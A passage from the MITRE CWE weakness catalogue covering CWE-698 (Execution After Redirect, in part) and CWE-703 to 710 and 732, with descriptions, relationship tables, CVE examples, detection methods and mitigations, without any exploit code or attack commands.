CVE-2007-4932	Remote attackers can obtain access to administrator functionality through EAR. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4932*
CVE-2007-5578	Bypass of authentication step through EAR. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5578*
CVE-2007-2713	Chain: Execution after redirect triggers eval injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2713*
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6652*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

References

[REF-565]Adam Doupé, Bryce Boe, Christopher Kruegel and Giovanni Vigna. "Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities". < http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf >.

CWE-703: Improper Check or Handling of Exceptional Conditions

Weakness ID : 703 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The software does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	B	166	Improper Handling of Missing Special Element	390
ParentOf	B	167	Improper Handling of Additional Special Element	392
ParentOf	B	168	Improper Handling of Inconsistent Special Elements	394
ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	519
ParentOf	B	248	Uncaught Exception	545
ParentOf	B	274	Improper Handling of Insufficient Privileges	604
ParentOf	V	333	Improper Handling of Insufficient Entropy in TRNG	740
ParentOf	B	391	Unchecked Error Condition	850
ParentOf	B	392	Missing Report of Error Condition	853
ParentOf	B	393	Return of Wrong Status Code	854
ParentOf	B	397	Declaration of Throws for Generic Exception	862
ParentOf	C	754	Improper Check for Unusual or Exceptional Conditions	1381
ParentOf	C	755	Improper Handling of Exceptional Conditions	1389
ParentOf	B	1247	Missing Protection Against Voltage and Clock Glitches	1770

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Availability	DoS: Crash, Exit, or Restart	
Integrity	Unexpected State	

Detection Methods

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fault Injection - source code Fault Injection - binary Cost effective for partial coverage: Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Notes

Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions

References

[REF-567]Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995 August 1. < http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf >.

[REF-568]Taimur Aslam, Ivan Krsul and Eugene H. Spafford. "Use of A Taxonomy of Security Faults". 1995 August 1. < http://csrc.nist.gov/nissc/1996/papers/NISSC96/paper057/PAPER.PDF >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-704: Incorrect Type Conversion or Cast

Weakness ID : 704 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not correctly convert an object, resource, or structure from one type to a different type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	V	588	Attempt to Access Child of a Non-structure Pointer	1177
ParentOf	B	681	Incorrect Conversion between Numeric Types	1322
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1563

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	681	Incorrect Conversion between Numeric Types	1322
ParentOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1563

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	1882
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP05-C		Do not cast away a const qualification
CERT C Secure Coding	EXP39-C	CWE More Abstract	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT36-C	CWE More Abstract	Converting a pointer to integer or integer to pointer
CERT C Secure Coding	STR34-C	CWE More Abstract	Cast characters to unsigned types before converting to larger integer sizes
CERT C Secure Coding	STR37-C	CWE More Abstract	Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCRM	ASCRM-CWE-704		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-705: Incorrect Control Flow Scoping

Weakness ID : 705 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	248	Uncaught Exception	545
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	836
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	857
ParentOf	B	396	Declaration of Catch for Generic Exception	860
ParentOf	B	397	Declaration of Throws for Generic Exception	862
ParentOf	B	455	Non-exit on Failed Initialization	969
ParentOf	B	584	Return Inside Finally Block	1171
ParentOf	B	698	Execution After Redirect (EAR)	1353

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic Other	

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing MITM attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)	734	1889
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	1890
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	844	1907
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1918
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1165	SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ENV32-C	CWE More Abstract	All exit handlers must return normally
CERT C Secure Coding	ERR04-C		Choose an appropriate termination strategy
The CERT Oracle Secure Coding Standard for Java (2011)	THI05-J		Do not use Thread.stop() to terminate threads
The CERT Oracle Secure Coding Standard for Java (2011)	ERR04-J		Do not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions

CWE-706: Use of Incorrectly-Resolved Name or Reference

Weakness ID : 706 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
ParentOf	B	41	Improper Resolution of Path Equivalence	81
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	106
ParentOf	B	66	Improper Handling of File Names that Identify Virtual Resources	118
ParentOf	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217
ParentOf	B	178	Improper Handling of Case Sensitivity	411
ParentOf	B	386	Symbolic Name not Mapping to Correct Object	844
ParentOf	V	827	Improper Control of Document Type Definition	1527
PeerOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224
PeerOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
ParentOf	B	59	Improper Link Resolution Before File Access ('Link Following')	106
ParentOf	B	178	Improper Handling of Case Sensitivity	411

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	1930
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	1949
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
48	Passing Local Filenames to Functions That Expect a URL
159	Redirect Access to Libraries
177	Create files with the same name as files protected with a higher classification

CAPEC-ID	Attack Pattern Name
641	DLL Side-Loading

CWE-707: Improper Neutralization

Weakness ID : 707 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:

- checking that the input/output is already "safe" (e.g. validation)
- transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
- preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
- preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	C	20	Improper Input Validation	19
ParentOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	C	116	Improper Encoding or Escaping of Output	260
ParentOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	B	170	Improper Null Termination	395
ParentOf	C	172	Encoding Error	399
ParentOf	C	228	Improper Handling of Syntactically Invalid Structure	519
ParentOf	B	240	Improper Handling of Inconsistent Structural Elements	533
ParentOf	B	463	Deletion of Data Structure Sentinel	984

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
33	HTTP Request Smuggling
34	HTTP Response Splitting
43	Exploiting Multiple Input Interpretation Layers
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
66	SQL Injection
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
83	XPath Injection
84	XQuery Injection
250	XML Injection
276	Inter-component Protocol Manipulation
277	Data Interchange Protocol Manipulation
278	Web Services Protocol Manipulation
279	SOAP Manipulation
468	Generic Cross-Browser Cross-Domain Theft

CWE-708: Incorrect Ownership Assignment

Weakness ID : 708 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The software assigns an owner to a resource, but the owner is outside of the intended control sphere.

Extended Description

This may allow the resource to be manipulated by actors outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	282	Improper Ownership Management	616
CanAlsoBe	C	345	Insufficient Verification of Data Authenticity	758

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data *An attacker could read and modify data for which they do not have permissions to access directly.*	

Potential Mitigations

Phase: Policy

Periodically review the privileges and their owners.

Phase: Testing

Use automated tools to check for privilege settings.

Observed Examples

Reference	Description
CVE-2007-5101	File system sets wrong ownership and group when creating a new file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5101*
CVE-2007-4238	OS installs program with bin owner/group, allowing modification. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4238*
CVE-2007-1716	Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1716*

Reference	Description
CVE-2005-3148	Backup software restores symbolic links with incorrect uid/gid. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3148*
CVE-2005-1064	Product changes the ownership of files that a symlink points to, instead of the symlink itself. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1064*
CVE-2011-1551	Component assigns ownership of sensitive directory tree to a user account, which can be leveraged to perform privileged operations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1551*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	1933

Notes

Maintenance

This overlaps verification errors, permissions, and privileges. A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

CWE-710: Improper Adherence to Coding Standards

Weakness ID : 710 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The software does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	V	107	Struts: Unused Validation Form	239
ParentOf	V	110	Struts: Validator Without Form Field	245
ParentOf	B	476	NULL Pointer Dereference	1009
ParentOf	B	477	Use of Obsolete Function	1015
ParentOf	B	484	Omitted Break Statement in Switch	1034
ParentOf	B	489	Active Debug Code	1042
ParentOf	C	506	Embedded Malicious Code	1077
ParentOf	B	570	Expression is Always False	1147

Nature	Type	ID	Name	Page
ParentOf	B	571	Expression is Always True	1150
ParentOf	C	573	Improper Following of Specification by Caller	1153
ParentOf	V	594	J2EE Framework: Saving Unserializable Objects to Disk	1185
ParentOf	C	657	Violation of Secure Design Principles	1287
ParentOf	C	684	Incorrect Provision of Specified Functionality	1332
ParentOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ParentOf	C	912	Hidden Functionality	1587
ParentOf	B	1041	Use of Redundant Code	1643
ParentOf	B	1044	Architecture with Number of Horizontal Layers Outside of Expected Range	1646
ParentOf	B	1048	Invokable Control Element with Large Number of Outward Calls	1650
ParentOf	C	1059	Incomplete Documentation	1661
ParentOf	C	1061	Insufficient Encapsulation	1663
ParentOf	B	1065	Runtime Resource Management Control Element in a Component Built to Run on Application Servers	1667
ParentOf	B	1066	Missing Serialization Control Element	1668
ParentOf	B	1068	Inconsistency Between Implementation and Documented Design	1670
ParentOf	B	1070	Serializable Data Element Containing non-Serializable Item Elements	1671
ParentOf	C	1076	Insufficient Adherence to Expected Conventions	1677
ParentOf	B	1092	Use of Same Invokable Control Element in Multiple Architectural Layers	1692
ParentOf	C	1093	Excessively Complex Data Representation	1693
ParentOf	B	1101	Reliance on Runtime Component in Generated Code	1700
ParentOf	B	1104	Use of Unmaintained Third Party Components	1703
ParentOf	C	1120	Excessive Code Complexity	1715
ParentOf	B	1126	Declaration of Variable with Unnecessarily Wide Scope	1720
ParentOf	B	1127	Compilation with Insufficient Warnings or Errors	1720
ParentOf	C	1164	Irrelevant Code	1721
ParentOf	C	1177	Use of Prohibited Code	1725
ParentOf	B	1209	Failure to Disable Reserved Bits	1733

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Implementation

Document and closely follow coding standards.

Phase: Testing

Phase: Implementation

Where possible, use automated tools to enforce the standards.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	978	SFP Secondary Cluster: Implementation	888	1948

CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID : 732 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Extended Description

When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ChildOf	C	285	Improper Authorization	623
ParentOf	B	276	Incorrect Default Permissions	606
ParentOf	V	277	Insecure Inherited Permissions	609
ParentOf	V	278	Insecure Preserved Inherited Permissions	610
ParentOf	V	279	Incorrect Execution-Assigned Permissions	611
ParentOf	B	281	Improper Preservation of Permissions	615
ParentOf	V	1004	Sensitive Cookie Without 'HttpOnly' Flag	1626

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	276	Incorrect Default Permissions	606
ParentOf	B	281	Improper Preservation of Permissions	615

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.*	
Access Control	Gain Privileges or Assume Identity *An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.*	
Integrity Other	Modify Application Data Other *An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.*	

Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then

the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Phase: Architecture and Design

